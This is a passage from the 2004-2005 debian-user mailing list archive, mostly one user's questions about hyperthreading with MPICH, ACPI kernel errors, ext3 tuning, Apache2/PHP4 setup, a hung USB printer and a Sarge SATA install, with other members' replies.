> problems if you don't saturate the bus by data transfers, don't have
> contention over the bus, and keep the CPU cores busy. This is
> achievable if you employ your machine as a computing workhorse and not
> as a memory-chewing machine.
> 
> On-chip simultaneous multithreading (aka hyperthreading as marketed by
> Intel), however, is constrained by having only one set of caches, one
> set of execution resources, and one bus, but you have two logical CPUs
> contending for those, each running its own different thread. A thread
> can hog most of the resources of your
> machine should the other thread choose not to use them.  This is why
> SMT generally screws up scheduling algorithms that work normally in
> traditional SMP systems.
> 
> In your case, however, it would seem that most of your processes are
> CPU-bound - in which case enabling SMT/HyperThreading would be very
> beneficial. IBM developerworks has this dated study but might be
> beneficial nonetheless:
> http://www-128.ibm.com/developerworks/linux/library/l-htl
> -- 
> Paolo Alexis Falcone
> [EMAIL PROTECTED]
> 

Paolo - thanks for that reference, just what I was hoping to find (why I
was looking on Intel's site I dunno!). I understand & agree with the
points you raise. I'll plough though the ref and see what I can glean.

However, for one simple test (v.low memory, v.low comms, high compute)
case which is Fortran90 compiled using mpich, I actually found turning
HT off helped -- when it was on then for -np 2 there was no speed up
(top implied they ran on same physical processor). I presume this was
because the CPU was fully busy anyhow so the 2nd thread had to wait (you
seem to imply the opposite but I don't follow why!).

I can see more testing of 'mpich' on HT is probably worth doing,
particularly for "real life" codes but it also strikes me that sometimes
it is beneficial to put the processes on different processors (thus
allowing HT for system and max return for MPI codes).

Cheers, Michael


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: OT? hypertread on or off for SMP kernel

2004-12-09 Thread michael
On Thu, 2004-12-09 at 16:53, Miquel van Smoorenburg wrote:
> In article <[EMAIL PROTECTED]>,
> michael  <[EMAIL PROTECTED]> wrote:
> >However, for one simple test (v.low memory, v.low comms, high compute)
> >case which is Fortran90 compiled using mpich, I actually found turning
> >HT off helped -- when it was on then for -np 2 there was no speed up
> >(top implied they ran on same physical processor). I presume this was
> >because the CPU was fully busy anyhow so the 2nd thread had to wait (you
> >seem to imply the opposite but I don't follow why!).
> 
> Turning on the "SMT scheduler support" in the kernel is supposed
> to prevent exactly this. If two jobs are runnable, they will be
> run on 2 different CPUs (if you have them), not on 1 CPU with 2 threads.
> 
> Mike.
> 

Thanks that's useful.

The question thus becomes whether I can compile 'mpich' such that it can
take advantage of SMT and how well it can, or not.

Michael


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



[Solved, for now]: OT? hypertread on or off for SMP kernel

2004-12-09 Thread michael
> On Thu, 2004-12-09 at 16:53, Miquel van Smoorenburg wrote:
>> In article <[EMAIL PROTECTED]>,
>> michael  <[EMAIL PROTECTED]> wrote:
>> >However, for one simple test (v.low memory, v.low comms, high compute)
>> >case which is Fortran90 compiled using mpich, I actually found turning
>> >HT off helped -- when it was on then for -np 2 there was no speed up
>> >(top implied they ran on same physical processor). I presume this was
>> >because the CPU was fully busy anyhow so the 2nd thread had to wait
>> (you
>> >seem to imply the opposite but I don't follow why!).

I've just heard back from the mpich guys that the current mpich isn't
thread safe. Thus turning off HT does indeed seem the sane thing to do.

mpich2, apparently, will be thread safe "soon" so I'll look into that and
report back once it hits the distribution sites

Michael


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: problem compiling ghostscript?

2004-12-10 Thread michael
On Fri, 2004-12-10 at 11:35, Bruno Boettcher wrote:
> Hello
> 
> ghostscript mailing list seems utterly dead, or my problem terribly
> stupid...
> 
> i am still trying to get the aculaser C4100 (Epson) running, and since
> default debian ghostscripts don't support it directly i tryed to compile
> a ghostscript myself...
> 
> unfortunately it stops with the error:
> ./obj/echogs -a ./obj/ldt.tr -s - -lcupsimage -ltiff -ljpeg -lpng -lm -lz 
> -lcups -lnsl -lm  -L/usr/lib -rdynamic -lgmodule -lglib -ldl -lstdc++ -lm

a guess, but don't you mean '-ldynamic' rather than '-rdynamic'?


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Intel Vtune

2004-12-16 Thread michael
Has anybody any experience of using Intel VTune on their Debian system,
eg to analysis performance of programs and/or the system? Any problems
building it, for example? Thanks, Michael


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



sync-ing Evolution on 2 debian boxes

2004-12-13 Thread michael
Hi
I have two Debian boxes, each with Evolution running, and I wish to
share the Calendar/Tasks. I did a web search and came up with people
promoting "multiSync" so I have downloaded & installed that, plus the
libmultisync-plugin-syncml, using 'apt-get install'. I've tried to run
multiSync, using syncML plugin, with one machine named as server and the
other as client but have had problems I cannot see the solution too.

Firstly, there appears questions about certifications but the terminal
seems to hang.

Secondly, when I click on 'sync' I get the 'application has quit
unexpectedly'

Rerunning multisync, clicking on sync, I see 
Xlib: unexpected async reply (sequence 0x4e4)!

Has anybody had evo/mutliSync working to 'share' calendar/tasks on 2
Debian machines over the Internet?

Thanks, Michael



-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]


'ls' caching?

2004-12-22 Thread michael
Is there some caching going on for 'ls'? See the example below where I
deleted files in another window and then re-exported from CVS, but the
listing doesn't appear unless I cd out and back in again cheers,
michael


[EMAIL PROTECTED]:~/models-3/CMAQ-unified/models/include/release/vcoord$ ls
-alt
total 0
[EMAIL PROTECTED]:~/models-3/CMAQ-unified/models/include/release/vcoord$ cd
-
/home/michael/models-3/SG
[EMAIL PROTECTED]:~/models-3/SG$ cd -
/home/michael/models-3/CMAQ-unified/models/include/release/vcoord
[EMAIL PROTECTED]:~/models-3/CMAQ-unified/models/include/release/vcoord$ ls
-alt
total 32
drwxr-xr-x   2 michael michael 4096 Dec 22 12:32 ./
drwxr-xr-x  41 michael michael 4096 Dec 22 12:32 ../
-rw-r--r--   1 michael michael 3721 Dec 15  2003 COORD_06L.EXT
-rw-r--r--   1 michael michael 9065 Dec 15  2003 COORD_21L.EXT
-rw-r--r--   1 michael michael  975 Dec 15  2003 VGRD_06.EXT
-rw-r--r--   1 michael michael  976 Dec 15  2003 VGRD_21.EXT
[EMAIL PROTECTED]:~/models-3/CMAQ-unified/models/include/release/vcoord$



-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



[SORTED] Re: 'ls' caching?

2004-12-22 Thread michael
On Wed, 2004-12-22 at 16:02, Kirk Strauser wrote:
> On Wednesday 22 December 2004 06:37, michael wrote:
> 
> > Is there some caching going on for 'ls'?
> 
> Not in the sense you mean, no.
> 
> > See the example below where I deleted files in another window and then
> > re-exported from CVS, but the listing doesn't appear unless I cd out and
> > back in again.  
> 
> Are you sure that you hadn't deleted and then recreated the vcoord directory 
> (and not just its contents)?  If you cded into vcoord and then rm-rf'ed it 
> from another window, then you'd get the behavior you described.  Basically, 
> your pwd would effectively be a non-existent directory with no contents.  
> When you cd out of it and then back in, you're really changing from a 
> non-existent directory to one that exists.

aha - that's probably what's happening and makes sense. thanks!


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: debian logo

2004-12-24 Thread Michael
> On Thursday 23 December 2004 6:35 pm, Greg Madden wrote:
>> On Thursday 23 December 2004 03:25 pm, Ron Johnson wrote:
>> > "In all the tinsel and terror of the holiday season, we too often
>> > underestimate that murderous brute better known as Santa Claus.
>> > With images of last year's gingerbread massacre freshly baked into
>> > our memories, I remind you to bolt your doors, say goodbye to your
>> > pets, and lock your children in the closet. This is Walter Cronkite
>> > saying 'I told you so'."
>>
>> Easy on the egg-nog :)
>
> Actually, Ron Johnson was quoting a Fox News broadcast from December 24,
> 2999.  Walter Cronkite's reanimated head in a jar of soylent brine was
> sitting on a newsdesk speaking into what appeared to be a 1950's era
> microphone in front of him.
>
> The newscast itself aired in Futurama episode 2ACV04, X-mas Story,
> December 19, 1999.
>
> --
> Paul Johnson
> [EMAIL PROTECTED]
> http://ursine.dyndns.org/~baloo/
>
>


Easy on the Television :)


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Why the constant conflicts between Apache2 & PHP4, Now Gallery has quit!

2004-12-30 Thread Michael
> There seem to be constant conflicts between Apache2 & PHP4 as far as
> getting
> the apache2-mod-php4 and any dependent applicatione to work properly. Any
> one
> know why this condition is predominent. I think there is a bug in the
> configs
> as Debian installed them as I have tweaked them to get them to try to
> work.
> Apache2 says it has loaded the php4 module. I don't know of a way to check
> php4 the see if the various php.ini files are configured correctly. I did
> add
> the lines  highlighted below to my apache2.conf file and it did change the
> error message, but still no gallery.
>
> AddType application/x-httpd-php .php
> AddType application/x-httpd-php-source .phps
>
> # To use CGI scripts outside /cgi-bin/:
> #
> AddHandler cgi-script .cgi
> AddHandler cgi-script .php
> AddHandler cgi-script.pl
>
> Keep in mind that my photo gallery (gallery)  was working just fine until
> I
> upgraded Apache2 then more issues.
> Any ideas to get it working again?
> --
> John Foster
>

Sounds like you are trying to use apache the 'normal' way. Use it the
'debian' way and you will find that it works a lot better when you
upgrade.

It is all split up so you can easily upgrade versions without having to
re-configure or miss out on new configurations. It just implys that you do
it correctly otherwise all your hard work might start disappearing on you.

get the original apache2.conf back
(if you want to edit apache2.conf, add stuff to the blank httpd.conf instead)

find what you want in this directory
/etc/apache2/mods-available
symlink what you want from that directory to this directory
/etc/apache2/mods-enabled

For gallery do something like this

make a file /etc/apache2/conf.d/gallery

dump this inside
#---
Alias /gallery /usr/share/gallery


  Options FollowSymLinks
  AllowOverride Limit Options FileInfo

#

as for php.ini

phpinfo.php
//-
phpinfo();
//-

will tell you the configuration.

-Mike


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



acpi errors

2004-12-31 Thread michael
Can anybody tell me if errors of the form 

Dec 31 12:54:47 localhost kernel: ACPI-1133: *** Error: Method
execution failed [\_SB_.PCI0._CRS] (Node f7ff5720), AE_NOT_EXIST

are important or can I just ignore them (full dmesg errors below)? I'm
running the 2.4.27-1-686-smp kernel from backports on 'testing' and
these errors started today after I did an apt-get update/upgrade. I'm
not sure what other info will be of use and couldn't find a solution to
this on the web. 
Ta, michael

Dec 31 12:54:47 localhost kernel: ACPI-1133: *** Error: Method
execution failed [\_SB_.PCI0._CRS] (Node f7ff5720), AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-0154: *** Error: Method
execution failed [\_SB_.PCI0._CRS] (Node f7ff5720), AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-1133: *** Error: Method
execution failed [\_SB_.PCI0.SBRG.PS2K._STA] (Node f7ff99e0),
AE_AML_NO_RETURN_VALUE
Dec 31 12:54:47 localhost kernel: ACPI-0154: *** Error: Method
execution failed [\_SB_.PCI0.SBRG.PS2K._STA] (Node f7ff99e0),
AE_AML_NO_RETURN_VALUE
Dec 31 12:54:47 localhost kernel: ACPI-1133: *** Error: Method
execution failed [\_SB_.PCI0.SBRG.PS2M._STA] (Node f7ff9a80),
AE_AML_NO_RETURN_VALUE
Dec 31 12:54:47 localhost kernel: ACPI-0154: *** Error: Method
execution failed [\_SB_.PCI0.SBRG.PS2M._STA] (Node f7ff9a80),
AE_AML_NO_RETURN_VALUE
Dec 31 12:54:47 localhost kernel: ACPI-1133: *** Error: Method
execution failed [\_SB_.PCI0.SBRG.ENFG] (Node f7ff9f20), AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-1133: *** Error: Method
execution failed [\_SB_.PCI0.SBRG.DSTA] (Node f7ff73c0), AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-1133: *** Error: Method
execution failed [\_SB_.PCI0.SBRG.UAR1._STA] (Node f7ff9b60),
AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-0154: *** Error: Method
execution failed [\_SB_.PCI0.SBRG.UAR1._STA] (Node f7ff9b60),
AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-1133: *** Error: Method
execution failed [\_SB_.PCI0.SBRG.ENFG] (Node f7ff9f20), AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-1133: *** Error: Method
execution failed [\_SB_.PCI0.SBRG.DSTA] (Node f7ff73c0), AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-1133: *** Error: Method
execution failed [\_SB_.PCI0.SBRG.UAR2._STA] (Node f7ff9c80),
AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-0154: *** Error: Method
execution failed [\_SB_.PCI0.SBRG.UAR2._STA] (Node f7ff9c80),
AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-1133: *** Error: Method
execution failed [\_SB_.PCI0.SBRG.ENFG] (Node f7ff9f20), AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-1133: *** Error: Method
execution failed [\_SB_.PCI0.SBRG.DSTA] (Node f7ff73c0), AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-1133: *** Error: Method
execution failed [\_SB_.PCI0.SBRG.FDC_._STA] (Node f7ff9da0),
AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-0154: *** Error: Method
execution failed [\_SB_.PCI0.SBRG.FDC_._STA] (Node f7ff9da0),
AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-1133: *** Error: Method
execution failed [\_SB_.LNKA._STA] (Node f7ff7b80), AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-0154: *** Error: Method
execution failed [\_SB_.LNKA._STA] (Node f7ff7b80), AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-1133: *** Error: Method
execution failed [\_SB_.LNKB._STA] (Node f7ff7c80), AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-0154: *** Error: Method
execution failed [\_SB_.LNKB._STA] (Node f7ff7c80), AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-1133: *** Error: Method
execution failed [\_SB_.LNKC._STA] (Node f7ff7d80), AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-0154: *** Error: Method
execution failed [\_SB_.LNKC._STA] (Node f7ff7d80), AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-1133: *** Error: Method
execution failed [\_SB_.LNKD._STA] (Node f7ff7e80), AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-0154: *** Error: Method
execution failed [\_SB_.LNKD._STA] (Node f7ff7e80), AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-1133: *** Error: Method
execution failed [\_SB_.LNKE._STA] (Node f7ff7f80), AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-0154: *** Error: Method
execution failed [\_SB_.LNKE._STA] (Node f7ff7f80), AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-1133: *** Error: Method
execution failed [\_SB_.LNKF._STA] (Node f7ff5260), AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-0154: *** Error: Method
execution failed [\_SB_.LNKF._STA] (Node f7ff5260), AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-1133: *** Error: Method
execution failed [\_SB_.LNKG._STA] (Node f7ff5360), AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-0154: *** Error: Method
execution failed [\_SB_.LNKG._STA] (Node f7ff5360), AE_NOT_EXIST
Dec 31 12:54:47 localhost kernel: ACPI-1133: *** Error: Method
exe

Re: acpi errors

2005-01-05 Thread michael
On Fri, 2004-12-31 at 16:35, Eric Gaumer wrote:
> On Fri, 2004-12-31 at 13:42 +0000, michael wrote:
> > Can anybody tell me if errors of the form 
> > 
> > Dec 31 12:54:47 localhost kernel: ACPI-1133: *** Error: Method
> > execution failed [\_SB_.PCI0._CRS] (Node f7ff5720), AE_NOT_EXIST
> > 
> > are important or can I just ignore them (full dmesg errors below)? I'm
> > running the 2.4.27-1-686-smp kernel from backports on 'testing' and
> > these errors started today after I did an apt-get update/upgrade. I'm
> > not sure what other info will be of use and couldn't find a solution to
> > this on the web. 
> > Ta, michael
> > 
> 
> The message means that the acpi code couldn't find the firmware table.
> Could hotplug be loading some acpi stuff that should be blacklisted? Is
> your BIOS blacklisted? You should see some acpi related info when you're
> booting up.
> 
> Was this kernel running fine (no messages) prior to the update?

Yes, no problems before update/upgrade.
Here's the first part of dmesg - there seems to be a prob with ACPI
right near the top... not sure why... all help welcome (BTW things seem
to be working okay!)

  000
 12 000 00  100   0   00000
 13 000 00  100   0   00000
 14 000 00  100   0   00000
 15 000 00  100   0   00000
 16 000 00  100   0   00000
 17 000 00  100   0   00000
IRQ to pin mappings:
IRQ0 -> 0:2
IRQ1 -> 0:1
{snip... all IRQ 2..18}
IRQ19 -> 0:19
IRQ21 -> 0:21
IRQ23 -> 0:23
 done.
Using local APIC timer interrupts.
calibrating APIC timer ...
. CPU clock speed is 2992.4365 MHz.
. host bus clock speed is 199.4956 MHz.
cpu: 0, clocks: 1994956, slice: 664985
CPU0
cpu: 1, clocks: 1994956, slice: 664985
CPU1
checking TSC synchronization across CPUs: passed.
Waiting on wait_init_idle (map = 0x2)
All processors have done init_idle
ACPI: Subsystem revision 20040326
ACPI: Interpreter disabled.

*** is the above line what I should expect???

PCI: PCI BIOS revision 2.10 entry at 0xf0031, last bus=4
{snip: more stuff about PCI}
PCI->APIC IRQ transform: (B4,I4,P0) -> 21
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Starting kswapd
allocated 32 pages and 32 bhs reserved for the highmem bounces
VFS: Disk quotas vdquot_6.5.1
devfs: v1.12c (20020818) Richard Gooch ([EMAIL PROTECTED])
devfs: boot_options: 0x0
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with HUB-6 MANY_PORTS MULTIPORT
SHARE_IRQ SERIAL_PCI enabled
ttyS00 at 0x03f8 (irq = 4) is a 16550A
ttyS01 at 0x02f8 (irq = 3) is a 16550A
COMX: driver version 0.85 (C) 1995-1999 ITConsult-Pro Co. <[EMAIL PROTECTED]>
RAMDISK driver initialized: 16 RAM disks of 8192K size 1024 blocksize
Initializing Cryptographic API
NET4: Linux TCP/IP 1.0 for NET4.0
IP: routing cache hash table of 16384 buckets, 128Kbytes
TCP: Hash tables configured (established 262144 bind 65536)
Linux IP multicast router 0.06 plus PIM-SM
RAMDISK: cramfs filesystem found at block 0
RAMDISK: Loading 4260 blocks [1 disk] into ram disk... -done.
Freeing initrd memory: 4260k freed
VFS: Mounted root (cramfs filesystem).
Freeing unused kernel memory: 124k freed
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
Uniform Multi-Platform E-IDE driver Revision: 7.00beta4-2.4
ide: Assuming 33MHz system bus speed for PIO modes; override with
idebus=xx
ide: late registration of driver.
ICH5: IDE controller at PCI slot 00:1f.1
ICH5: chipset revision 2
ICH5: not 100% native mode: will probe irqs later
ide0: BM-DMA at 0xfc00-0xfc07, BIOS settings: hda:pio, hdb:pio
ide1: BM-DMA at 0xfc08-0xfc0f, BIOS settings: hdc:DMA, hdd:pio
ICH5: IDE controller at PCI slot 00:1f.2
ICH5: chipset revision 2
ICH5: 100% native mode on irq 18
ide2: BM-DMA at 0xd000-0xd007, BIOS settings: hde:DMA, hdf:pio
ide3: BM-DMA at 0xd008-0xd00f, BIOS settings: hdg:pio, hdh:pio
hdc: SONY DVD RW DRU-710A, ATAPI CD/DVD-ROM drive
hde: WDC WD2500JD-00GBB0, ATA DISK drive
hdf: probing with STATUS(0x00) instead of ALTSTATUS(0x50)
hdf: probing with STATUS(0x00) instead of ALTSTATUS(0x50)
blk: queue f88342f8, I/O limit 4095Mb (mask 0x)
ide1 at 0x170-0x177,0x376 on irq 15
ide2 at 0xd800-0xd807,0xd482 on irq 18
hde: attached ide-disk driver.
hde: 488397168 sectors (250059 MB) w/8192KiB Cache, CHS=30401/255/63,
UDMA(100)
Partition check:
 /dev/ide/host2/bus0/target0/lun0: p1 p2 p3 p4 < p5 p6 p7 p8 p9 p10 p11
>
Journalled Block Device driver loaded
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
Adding Swap: 1951856k

kernel build: unresolved errors during dpkg -i

2005-01-09 Thread michael
When trying to install the kernel image I get numerous 'unresolved
symbols' errors - could somebody explain why (I had presumed the 'make
menuconfig' and subsequent 'make-kpkg' would have ensured all
dependencies were resolved) and whether I can ignore them (I presume
not).
Thanks, Michael
Here's the head of the output:


[EMAIL PROTECTED]:/usr/src$ sudo dpkg -i
kernel-image-2.6.9.03jan2005c_10.00.Custom_i386.deb
Selecting previously deselected package kernel-image-2.6.9.03jan2005c.
(Reading database ... cd 86560 files and directories currently
installed.)
Unpacking kernel-image-2.6.9.03jan2005c (from
kernel-image-2.6.9.03jan2005c_10.00.Custom_i386.deb) ...
Setting up kernel-image-2.6.9.03jan2005c (10.00.Custom) ...
ldepmod: *** Unresolved symbols
in /lib/modules/2.6.9.03jan2005c/kernel/drivers/acpi/thermal.ko
depmod: *** Unresolved symbols
in /lib/modules/2.6.9.03jan2005c/kernel/drivers/block/paride/aten.ko



-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Regex expert needed

2005-05-03 Thread michael
On Mon, 2005-05-02 at 16:08 +0100, Alan Chandler wrote:

> For instance I want the parse this string
> 
> Form = 'This is a bad bad thing, but not as bad as it would be if \"x = 5\", 
> so thats it',Connection=5
> 
> Into the strings
> 
> Form
> 
> =
> 
> 'This is a bad bad thing, but not as bad as it would be if \"x=5\", so thats 
> it'
> 
> ,
> 
> Connection
> 
> =
> 
> 5
> 
> using the php preg_split() finction.  So, I first want to find a regex that 
> finds the commas I have split out (bit not the common in the quoted string, 
> and then for each substring put that through another version of preg_split() 
> which finds the = as delimeters.  Again in the quoted string, I want to 
> ignore the x=5 equal sign.
> 
> I actually did this in the end by the brute force method of scanning the 
> string character by character in php and using logic to determine where the 
> boundaries are.  Its just a regex ought to be much more elegant.

Would be yet harder still if you correct your grammar and put the
missing apostrophe in penultimate word, viz "that's"

-- 
Michael Bane
Atmospheric Physics Group
University of Manchester


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



usb printer hangs until reboot

2005-05-04 Thread michael
Earlier today I could not use my USB printer. Looking at `ps -elf|grep
usb` it continuously had process state 'D' ("uninterruptible sleep
(usually IO)" according to `man ps`) and the CUPS web interface
continually reported "usb printer busy" (or something very similar). I
couldn't work out how to sort this out so resorted to a reboot and now
it all works fine.

My questions are thus:
- any ideas what might have happened? or where to look for clues (I
couldn't find anything in the /var/log files I checked)
- any ideas on how to resolve it without rebooting if it happens again?

I've done a Google but to no avail

Thanks
-- 
Michael Bane
Atmospheric Physics Group
University of Manchester


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: alsa sound config

2005-05-04 Thread michael
On Wed, 2005-05-04 at 20:28 +0100, jonny dennis wrote:
> i have managed to setup alsa about 3 times with no
> problem, using alsaconf but every time i reboot i have
> to set it up again can anyone tell me wot ive missed
> please.

errr, perhaps you've missed checking this list's archives for the
answer? a 10s search gives me 'alsactl store' and something about
'esd'...

i'm wondering if there's a need to update some FAQs since same Qs keep
popping up on here (now if that could be automated)

-- 
Michael Bane
Atmospheric Physics Group
University of Manchester


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



optimizing ext3 with journaling

2005-05-06 Thread michael
I've Googled about but not found anything to help although I'm sure
there must be a relevant HowTo/FAQ somewhere, so all pointers welcome!

My system is a dual Xeon box, running Sarge with 
[EMAIL PROTECTED]:~/.personal$ uname -a
Linux ratty 2.4.27-1-686-smp #1 SMP Wed Dec 1 19:50:17 JST 2004 i686
GNU/Linux


and 1 250Gb disk partitioned thus
[EMAIL PROTECTED]:~/.personal$ df
Filesystem   1K-blocks  Used Available Use% Mounted on
/dev/hde2  9614148287684   8838088   4% /
tmpfs  1034796 0   1034796   0% /dev/shm
/dev/hde8  1829159 19364   1712202   2% /boot
/dev/hde11   119765712  64309488  49372412  57% /home
/dev/hde6  9614116438828   8686916   5% /tmp
/dev/hde5  9614116   1950684   7175060  22% /usr
/dev/hde7 19228276  16042208   2209320  88% /usr/local
/dev/hde3  9614148   1673012   7452760  19% /var
[EMAIL PROTECTED]:~/.personal$ mount
/dev/hde2 on / type ext3 (rw,errors=remount-ro)
proc on /proc type proc (rw)
devpts on /dev/pts type devpts (rw,gid=5,mode=620)
tmpfs on /dev/shm type tmpfs (rw)
/dev/hde8 on /boot type ext3 (rw)
/dev/hde11 on /home type ext3 (rw)
/dev/hde6 on /tmp type ext3 (rw)
/dev/hde5 on /usr type ext3 (rw)
/dev/hde7 on /usr/local type ext3 (rw)
/dev/hde3 on /var type ext3 (rw)
usbfs on /proc/bus/usb type usbfs (rw)

and the syslog shows each with
May  4 19:32:15 localhost kernel: kjournald starting.  Commit interval
5 seconds
May  4 19:32:15 localhost kernel: EXT3 FS 2.4-0.9.19, 19 August 2002 on
ide2(33,3), internal journal
May  4 19:32:15 localhost kernel: EXT3-fs: mounted filesystem with
ordered data mode.

I was wondering if this 'default' setting is optimal, particularly
for /home -- I frequently (circa daily) run jobs (Fortran code) each
that creates files of a few Gb per run.

It may or may not be connected but I have noticed, albeit only recently
but that may not exclude it always happening, that `top` gives "system"
from 10-40% when such jobs are running (or big data files in Mozilla or
OpenOffice-Spreadsheet).

If you need more info, please let me know, and if you have references
for how to tune this definitely let me know!




-- 
Michael Bane
Atmospheric Physics Group
University of Manchester


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



sudden slow display response

2005-05-06 Thread michael
I also get a slow display response, seemingly whenever the filesystem is
accessed (see below too). Can't see anything wrong so please help. The
graphics card is a 
:04:02.0 VGA compatible controller: ATI Technologies Inc Rage XL
(rev 27)


Thanks, Michael

 Forwarded Message 
From: michael <[EMAIL PROTECTED]>
To: debian user 
Subject: optimizing ext3 with journaling
Date: Fri, 06 May 2005 11:45:38 +0100
I've Googled about but not found anything to help although I'm sure
there must be a relevant HowTo/FAQ somewhere, so all pointers welcome!

My system is a dual Xeon box, running Sarge with 
[EMAIL PROTECTED]:~/.personal$ uname -a
Linux ratty 2.4.27-1-686-smp #1 SMP Wed Dec 1 19:50:17 JST 2004 i686
GNU/Linux


and 1 250Gb disk partitioned thus
[EMAIL PROTECTED]:~/.personal$ df
Filesystem   1K-blocks  Used Available Use% Mounted on
/dev/hde2  9614148287684   8838088   4% /
tmpfs  1034796 0   1034796   0% /dev/shm
/dev/hde8  1829159 19364   1712202   2% /boot
/dev/hde11   119765712  64309488  49372412  57% /home
/dev/hde6  9614116438828   8686916   5% /tmp
/dev/hde5  9614116   1950684   7175060  22% /usr
/dev/hde7 19228276  16042208   2209320  88% /usr/local
/dev/hde3  9614148   1673012   7452760  19% /var
[EMAIL PROTECTED]:~/.personal$ mount
/dev/hde2 on / type ext3 (rw,errors=remount-ro)
proc on /proc type proc (rw)
devpts on /dev/pts type devpts (rw,gid=5,mode=620)
tmpfs on /dev/shm type tmpfs (rw)
/dev/hde8 on /boot type ext3 (rw)
/dev/hde11 on /home type ext3 (rw)
/dev/hde6 on /tmp type ext3 (rw)
/dev/hde5 on /usr type ext3 (rw)
/dev/hde7 on /usr/local type ext3 (rw)
/dev/hde3 on /var type ext3 (rw)
usbfs on /proc/bus/usb type usbfs (rw)

and the syslog shows each with
May  4 19:32:15 localhost kernel: kjournald starting.  Commit interval
5 seconds
May  4 19:32:15 localhost kernel: EXT3 FS 2.4-0.9.19, 19 August 2002 on
ide2(33,3), internal journal
May  4 19:32:15 localhost kernel: EXT3-fs: mounted filesystem with
ordered data mode.

I was wondering if this 'default' setting is optimal, particularly
for /home -- I frequently (circa daily) run jobs (Fortran code) each
that creates files of a few Gb per run.

It may or may not be connected but I have noticed, albeit only recently
but that may not exclude it always happening, that `top` gives "system"
from 10-40% when such jobs are running (or big data files in Mozilla or
OpenOffice-Spreadsheet).

If you need more info, please let me know, and if you have references
for how to tune this definitely let me know!




-- 
Michael Bane
Atmospheric Physics Group
University of Manchester


-- 
Michael Bane
Atmospheric Physics Group
University of Manchester


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Non-debian cd

2005-05-06 Thread Michael

Debian,I have been having troubles to no end installing Debian on my system.I've recently purchased a WD800JD SATA hd and the I/OFlex SATA Controller.
First I was trying to install Woody for ~3-4 days before I received both pieces of hardware and have been trying to install it for many hours today.  I asked a variety of questions in the Debian IRC channel and a user suggested I install Sarge with hopes of it supporting the SATA drive.  Woody only detects hda1 and no scsi drive.

Therefore, I've been trying to install Sarge via Netinst for numerous hours and have essentially gotten nowhere.  The recurring problem relates to the *faulty* burnt cd's and how they are unrecognized.  When attempting to install Sarge with Netinst, I load files from '
